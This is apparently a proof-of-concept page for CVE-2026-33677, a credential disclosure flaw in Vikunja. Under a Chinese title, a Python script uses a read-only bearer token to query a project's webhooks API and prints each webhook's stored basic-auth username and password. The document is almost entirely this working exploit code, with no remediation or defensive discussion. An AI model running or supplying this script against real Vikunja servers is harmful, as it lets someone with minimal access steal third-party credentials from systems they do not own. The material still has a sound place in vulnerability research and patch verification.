CVE-2026-33677 Vikunja凭据信息泄露漏洞

import requests # Target API endpoint for a specific project # Replace PROJECT_ID with the actual target project ID target_url = "https://<vikunja-domain>/api/v1/projects/PROJECT_ID/webhooks" # Headers with authentication (JWT Token or Session Token) # The attacker only needs 'read' access to the project headers = { "Authorization": "Bearer <READ_ACCESS_TOKEN>", "Content-Type": "application/json" } try: # Send GET request to fetch webhooks response = requests.get(target_url, headers=headers) if response.status_code == 200: webhooks_data = response.json() # Iterate through webhooks to find sensitive credentials # Vulnerability: basic_auth_user and basic_auth_password are exposed if isinstance(webhooks_data, list): for webhook in webhooks_data: print(f"[+] Webhook ID: {webhook.get('id')}") print(f" Basic Auth User: {webhook.get('basic_auth_user')}") print(f" Basic Auth Password: {webhook.get('basic_auth_password')}") else: print("[-] Unexpected response format") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")